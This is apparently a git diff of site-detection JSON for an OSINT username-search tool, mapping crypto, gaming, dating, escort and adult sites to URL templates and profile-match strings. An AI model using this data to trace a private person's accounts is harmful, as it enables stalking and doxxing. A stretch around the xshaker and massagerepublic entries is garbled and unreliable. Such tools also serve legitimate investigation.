"absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.web3", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/gamefi": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.gamefi", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ], + "disabled": true + }, + "edns.domains/iotex": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + ], + "url": "https://api.edns.domains/domain/lookup/{username}.iotex", + "urlMain": "https://api.edns.domains", + "usernameClaimed": "everlast88", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/bit": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=bit", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/coin": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=coin", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/onion": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=onion", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/bazar": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=bazar", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/lib": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=lib", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/emc": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=emv", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "peername.com/tor": { + "presenseStrs": [ + "<name>" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0", + "Origin": "https://peername.com", + "Referer": "https://peername.com" + }, + "url": "https://peername.net/api/?name={username}&namespace=tor", + "urlMain": "https://peername.com/", + "usernameClaimed": "everlast", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "PromptBase": { + "absenceStrs": [ + "NotFound" + ], + "presenseStrs": [ + "1" + ], + "url": "https://promptbase.com/profile/{username}", + "urlMain": "https://promptbase.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "ai" + ] + }, + "ngl.link": { + "absenceStrs": [ + "Could not find user" + ], + "presenseStrs": [ + "1" + ], + "url": "https://ngl.link/{username}", + "urlMain": "https://ngl.link", + "usernameClaimed": "youbutdumberr", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "q&a" + ] + }, + "bitpapa.com": { + "absenceStrs": [ + "/static/page-crash.svg" + ], + "presenseStrs": [ + "lbcUsername" + ], + "url": "https://bitpapa.com/ru/user/{username}", + "urlMain": "https://bitpapa.com", + "usernameClaimed": "Larisa70", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "sst.hiberworld.com": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenceStrs": [ + "email", + "birthdate", + "role", + "Profile Image", + "User" + ], + "url": "https://sst.hiberworld.com/user/{username}", + "urlMain": "https://sst.hiberworld.com/user/{username}", + "usernameClaimed": "pixelpwnz", + "usernameUnclaimed": "foxefwvigz" + }, + "DeepDreamGenerator": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "user-name", + "profile-cover", + "user-info" + ], + "url": "https://deepdreamgenerator.com/u/{username}", + "urlMain": "https://deepdreamgenerator.com", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "lyazybfqoh" + }, + "PeriscopeTv": { + "checkType": "message", + "absenceStrs": [ + "error-fill" + ], + "presenseStrs": [ + "profile", + "ProfileAuthor", + "ProfileUsername" + ], + "url": "https://www.pscp.tv/{username}", + "urlMain": "https://www.pscp.tv", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "higfjqmiez" + }, + "fanscout.com": { + "checkType": "message", + "absenceStrs": [ + "This page is under construction" + ], + "presenseStrs": [ + "birthday cake" + ], + "url": "https://fanscout.com/{username}", + "urlMain": "https://fanscout.com", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "sicuoozvul" + }, + "app.samsungfood.com": { + "checkType": "message", + "absenceStrs": [ + ">User not found</h1></div>" + ], + "presenseStrs": [ + "alternateName", + "totalTime" + ], + "url": "https://app.samsungfood.com/u/{username}", + "urlMain": "https://app.samsungfood.com", + "usernameClaimed": "moonlitraven", + "usernameUnclaimed": "onpigjbowo" + }, + "DimensionalMe": { + "checkType": "message", + "absenceStrs": [ + "error_main_" + ], + "presenseStrs": [ + "userName", + "publicProfile" + ], + "url": "https://www.dimensional.me/{username}", + "urlMain": "https://www.dimensional.me", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "hbtybxpuon" + }, + "www.portal-pisarski.pl": { + "checkType": "message", + "absenceStrs": [ + "obrazki/404.png" + ], + "presenseStrs": [ + "profil/" + ], + "url": "https://www.portal-pisarski.pl/profil/{username}", + "urlMain": "https://www.portal-pisarski.pl", + "usernameClaimed": "sparkles99", + "usernameUnclaimed": "hlwifvxnqw" + }, + "www.dateamillionaire.com": { + "checkType": "message", + "absenceStrs": [ + "input[name=" + ], + "presenseStrs": [ + "patch_fill profile_box" + ], + "url": "https://www.dateamillionaire.com/members/{username}", + "urlMain": "https://www.dateamillionaire.com", + "usernameClaimed": "pixie23", + "usernameUnclaimed": "vmvasupgog" + }, + "www.stopstalk.com": { + "checkType": "message", + "absenceStrs": [ + "pupil", + "my-owlie", + "/user/custom_friend", + "owl", + "beak" + ], + "presenseStrs": [ + "<html>", + " <body>", + "><tbody>", + "uva-profile-url", + " <style>" + ], + "url": "https://www.stopstalk.com/user/profile/{username}", + "urlMain": "https://www.stopstalk.com", + "usernameClaimed": "sunny2000", + "usernameUnclaimed": "vgjxobkpsp" + }, + "www.polywork.com": { + "checkType": "message", + "absenceStrs": [ + ">404</h3>", + "ml-1", + "twitter:site", + "/users/sign_in", + " data-toggle=" + ], + "presenseStrs": [ + "</style>", + "profile-name", + "profile_display_name", + "profile-username", + "active" + ], + "url": "https://www.polywork.com/{username}", + "urlMain": "https://www.polywork.com", + "usernameClaimed": "zoey123", + "usernameUnclaimed": "timhhdgent" + }, + "oshwlab.com": { + "checkType": "message", + "absenceStrs": [ + "<body>", + "error-wrap", + "error-part", + "btn-blue", + " <title>error" + ], + "presenseStrs": [ + "profile", + " style=", + " title=", + "Twitter", + "profile-header" + ], + "url": "https://oshwlab.com/{username}", + "urlMain": "https://oshwlab.com", + "usernameClaimed": "zoey123", + "usernameUnclaimed": "uckupswapv" + }, + "www.xshaker.net": { + "checkType": "message", + "absenceStrs": [ + "/tube/txxxtv.html" + ], + "presenseStrs": [ + "og:title", + "serve", + "og:type", + "/>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438 \u0432\u0438\u0434\u0435\u043e\u0447\u0430\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.
    ", + ">\t

    404 Page Not Found

    \r", + "404 Page Not Found\r", + "info-page ibox", + "\t\t

    Or maybe the Were you looking for the The username ", + " could not be found.", + "standardpage", + "redirect-message", + "section-body alignleft" + ], + "presenseStrs": [ + "og:title", + "display:flex", + "user-title", + " />\r" + ], + "presenseStrs": [ + " ", + "replaceState", + "

    404 - Page not found

    " + ], + "presenseStrs": [ + " title=", + " style=", + "og:title", + "page-title", + "female" + ], + "url": "https://massagerepublic.com/u/{username}", + "urlMain": "https://massagerepublic.com", + "usernameClaimed": "lily88", + "usernameUnclaimed": "xzhsxfyfzi" + }, + "mynickname.com": { + "checkType": "message", + "absenceStrs": [ + "

    Error 404: Page not found

    ", + "Nickname , certificate for username ", + "btn green", + "mailto:info@mynickname.com", + ">Register nickname

    " + ], + "presenseStrs": [ + " title=", + "bold", + "title-line", + "codehtml", + "User offline" + ], + "url": "https://mynickname.com/{username}", + "urlMain": "https://mynickname.com", + "usernameClaimed": "godbrithil", + "usernameUnclaimed": "fqiakbtdhu" + }, + "Substack": { + "absenceStrs": [ + "Found. Redirecting to" + ], + "presenseStrs": [ + "profile\\" + ], + "url": "https://substack.com/@{username}", + "urlMain": "https://substack.com", + "usernameClaimed": "user23", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "blog" + ] + }, + "OP.GG [LeagueOfLegends] Brazil": { + "tags": [ + "br", + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=br", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] North America": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=na", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Middle East": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=me", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Europe Nordic & East": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=eune", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Europe West": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=euw", + "usernameClaimed": "Blaze51", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Oceania": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=oce", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Korea": { + "tags": [ + "gaming", + "kr" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=kr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Japan": { + "tags": [ + "gaming", + "jp" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=jp", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] LAS": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=las", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] LAN": { + "tags": [ + "gaming" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=lan", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Russia": { + "tags": [ + "gaming", + "ru" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Turkey": { + "tags": [ + "gaming", + "tr" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=tr", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Singapore": { + "tags": [ + "gaming", + "sg" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=sg", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Phillippines": { + "tags": [ + "gaming", + "ph" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=ph", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Taiwan": { + "tags": [ + "gaming", + "tw" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=tw", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Vietnam": { + "tags": [ + "gaming", + "vn" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=vn", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [LeagueOfLegends] Thailand": { + "tags": [ + "gaming", + "th" + ], + "engine": "op.gg", + "url": "https://www.op.gg/summoners/search?q={username}®ion=th", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "OP.GG [PUBG]": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenceStrs": [ + "userNickname" + ], + "absenceStrs": [ + "notFoundPlayer" + ], + "url": "https://pubg.op.gg/user/{username}", + "urlMain": "https://pubg.op.gg", + "usernameClaimed": "Kevin_CH", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "OP.GG [Valorant]": { + "tags": [ + "gaming" + ], + "presenceStrs": [ + "[{" + ], + "absenceStrs": [ + "[]" + ], + "checkType": "message", + "url": "https://valorant.op.gg/api/player/search?keyword={username}", + "urlMain": "https://valorant.op.gg", + "usernameClaimed": "rayquaza", + "usernameUnclaimed": "noonewouldeverusethis7", + "similarSearch": true, + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "application/json, text/plain, */*", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br, zstd", + "Connection": "keep-alive", + "Referer": "https://valorant.op.gg/leaderboards", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "TE": "trailers" + } + }, + "Eksisozluk": { + "absenceStrs": [ + "

    b\u00f6yle bir yazar yok

    \r" + ], + "presenseStrs": [ + "profile-dots", + "profile-logo", + "profile-cards", + "profile-biography", + " data-title=" + ], + "alexaRank": 977, + "url": "https://eksisozluk.com/biri/{username}", + "urlMain": "https://eksisozluk.com", + "usernameClaimed": "kartalbafilerrr", + "usernameUnclaimed": "rlcvuwlxqh", + "checkType": "message", + "tags": [ + "tr" + ] + }, + "write.as": { + "tags": [ + "writefreely" + ], + "checkType": "status_code", + "url": "https://write.as/{username}", + "urlMain": "https://write.as", + "usernameClaimed": "pylapp", + "usernameUnclaimed": "noonewouldeverusethis42" + } + }, + "engines": { + "XenForo": { + "name": "XenForo", + "site": { + "ignore403": true, + "absenceStrs": [ + "The requested page could not be found.", + "The specified member cannot be found. Please enter a member", + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f.", + "Le membre sp\u00e9cifi\u00e9 est introuvable. Veuillez saisir le nom complet d'un membre.", + "Belirtilen \u00fcye bulunamad\u0131. L\u00fctfen bir \u00fcyenin tam ad\u0131n\u0131 giriniz." + ], + "presenseStrs": [ + "\u0412\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u044b, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.", + "\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c, \u043d\u0443\u0436\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u043e\u0439\u0442\u0438 \u043d\u0430 \u0444\u043e\u0440\u0443\u043c.", + "You must be logged-in to do that.", + "You must be logged in to do that.", + "memberHeader-content", + "profilePage" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/members/?username={username}" + }, + "presenseStrs": [ + "XenForo" + ] + }, + "phpBB/Search": { + "name": "phpBB/Search", + "site": { + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "presenseStrs": [ + "postprofile", + " username-coloured" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/search.php?author={username}" + }, + "presenseStrs": [ + "./memberlist.php?mode=viewprofile" + ] + }, + "phpBB": { + "name": "phpBB", + "site": { + "absenceStrs": [ + "No members found for this search criterion.", + "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + ], + "presenseStrs": [ + "You must be logged in to do that.", + "./memberlist.php?mode=viewprofile" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/memberlist.php?username={username}" + }, + "presenseStrs": [ + "phpBB" + ] + }, + "phpBB2/Search": { + "name": "phpBB2/Search", + "site": { + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + ], + "presenseStrs": [ + "\"postdetails" + ], + "checkType": "message", + "url": "{urlMain}{urlSubpath}/search.php?search_author={username}" + }, + "presenseStrs": [ + "phpBB 2.0" + ] + }, + "uCoz": { + "name": "uCoz", + "site": { + "absenceStrs": [ + "HTTP 404", + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "presenseStrs": [ + "udtlb\">\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c:</div>", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u0432\u043e\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.", + "<center><b>\u041b\u0438\u0447\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435</b>", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u043e\u0439\u0434\u0438\u0442\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.", + "<img alt=\"\" name=\"rankimg\" border=\"0\" src=\"/.s/rnk/", + "\u0413\u043e\u0441\u0442\u044f\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.", + "profile-section-name", + "webo4ka_dannii", + "\u0414\u0430\u0442\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438" + ], + "checkType": "message", + "regexCheck": "^[^\\.]+$", + "url": "{urlMain}/index/8-0-{username}" + } + }, + "vBulletin": { + "name": "vBulletin", + "site": { + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.", + "Bu \u00dcye kay\u0131tl\u0131 \u00dcyemiz de\u011fildir. Bu sebebten dolay\u0131 \u00dcyeye ait Profil g\u00f6sterilemiyor.", + "This user has not registered and therefore does not have a profile to view.", + "\u041a\u043e\u0440\u0438\u0441\u0442\u0443\u0432\u0430\u0447 \u043d\u0435 \u0437\u0430\u0440\u0435\u0454\u0441\u0442\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0456 \u043d\u0435 \u043c\u0430\u0454 \u043f\u0440\u043e\u0444\u0456\u043b\u044e, \u044f\u043a\u0438\u0439 \u043c\u043e\u0436\u043d\u0430 \u043f\u0435\u0440\u0435\u0433\u043b\u044f\u043d\u0443\u0442\u0438.", + "Deze gebruiker is niet geregistreerd, zodat je zijn of haar profiel niet kunt bekijken." + ], + "checkType": "message", + "errors": { + "\u041f\u0440\u043e\u0441\u0442\u0438\u0442\u0435, \u043d\u043e \u0432\u0430\u0448 IP \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u0444\u043e\u0440\u0443\u043c\u0430": "IP ban", + "You have been banned": "IP ban", + "The administrator has banned your IP address": "IP ban", + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0437\u0430\u0439\u0442\u0438 \u043f\u043e\u0437\u0436\u0435.": "Server is overloaded" + }, + "url": "{urlMain}{urlSubpath}/member.php?username={username}" + }, + "presenseStrs": [ + "content=\"vBulletin " + ] + }, + "Discourse": { + "name": "Discourse", + "site": { + "presenseStrs": [ + "<meta name=\"generator\" content=\"Discourse" + ], + "absenceStrs": [ + "Oops! That page doesn\u2019t exist or is private.", + "wrap not-found-container" + ], + "checkType": "message", + "url": "{urlMain}/u/{username}/summary" + }, + "presenseStrs": [ + "<meta name=\"generator\" content=\"Discourse" + ] + }, + "Wordpress/Author": { + "name": "Wordpress/Author", + "site": { + "presenseStrs": [ + "author-", + "author/" + ], + "absenceStrs": [ + "error404" + ], + "checkType": "message", + "requestHeadOnly": false, + "url": "{urlMain}{urlSubpath}/author/{username}/" + }, + "presenseStrs": [ + "/wp-admin", + "/wp-includes/wlwmanifest.xml" + ] + }, + "Flarum": { + "name": "Flarum", + "site": { + "presenseStrs": [ + "\"attributes\":{\"username\"" + ], + "absenceStrs": [ + "NotFound" + ], + "checkType": "message", + "url": "{urlMain}/u/{username}" + }, + "presenseStrs": [ + "flarum-loading-error" + ] + }, + "engine404": { + "name": "engine404", + "site": { + "checkType": "status_code" + } + }, + "engineRedirect": { + "name": "engineRedirect", + "site": { + "checkType": "response_url" + } + }, + "engine404get": { + "name": "engine404get", + "site": { + "checkType": "status_code", + "requestHeadOnly": false + } + }, + "engine404message": { + "name": "engine404message", + "site": { + "checkType": "message", + "absenceStrs": [ + "404" + ] + } + }, + "op.gg": { + "name": "op.gg", + "site": { + "checkType": "message", + "presenseStrs": [ + "This is the search result for the summoner", + "- Summoner Stats - " + ], + "absenceStrs": [ + "<h1>No search results for" + ], + "urlMain": "https://www.op.gg/", + "alexaRank": 331 + } + } + }, + "tags": [ + "gaming", + "coding", + "photo", + "music", + "blog", + "finance", + "freelance", + "dating", + "tech", + "forum", + "porn", + "erotic", + "webcam", + "video", + "movies", + "hacking", + "art", + "discussion", + "sharing", + "writing", + "wiki", + "business", + "shopping", + "sport", + "books", + "news", + "documents", + "travel", + "maps", + "hobby", + "apps", + "classified", + "career", + "geosocial", + "streaming", + "education", + "networking", + "torrent", + "science", + "medicine", + "reading", + "stock", + "messaging", + "trading", + "links", + "fashion", + "tasks", + "military", + "auto", + "gambling", + "cybercriminal", + "review", + "bookmarks", + "design", + "tor", + "i2p", + "q&a", + "crypto", + "ai", + "mastodon", + "writefreely", + "lemmy", + "pixelfed" + ] +} \ No newline at end of file diff --git a/data/sites/nexfil.json b/data/sites/nexfil.json new file mode 100644 index 0000000..5708d6a --- /dev/null +++ b/data/sites/nexfil.json @@ -0,0 +1,1696 @@ +[ + { + "url": "https://flare.rive.app/a/{}/", + "test": null, + "data": null + }, + { + "url": "https://www.7cups.com/@{}", + "test": null, + "data": null + }, + { + "url": "https://9gag.com/u/{}", + "test": null, + "data": null + }, + { + "url": "https://about.me/{}", + "test": null, + "data": null + }, + { + "url": "https://independent.academia.edu/{}", + "test": "string", + "data": "Oops! Something went wrong on our end" + }, + { + "url": "https://www.alik.cz/u/{}", + "test": null, + "data": null + }, + { + "url": "https://www.alltrails.com/members/{}/lists", + "test": "headless", + "data": { + "found": "/html/body/div[1]/div[4]/div/div[3]/div/div/div/div[1]/article/div[2]/div/div/div[2]/a/div[contains(text(), 'favorites')]", + "not_found": "/html/body/div[1]/div[4]/div/div/div[2]/div[contains(text(), 'end of the trail')]" + } + }, + { + "url": "https://discussions.apple.com/profile/{}", + "test": null, + "data": null + }, + { + "url": 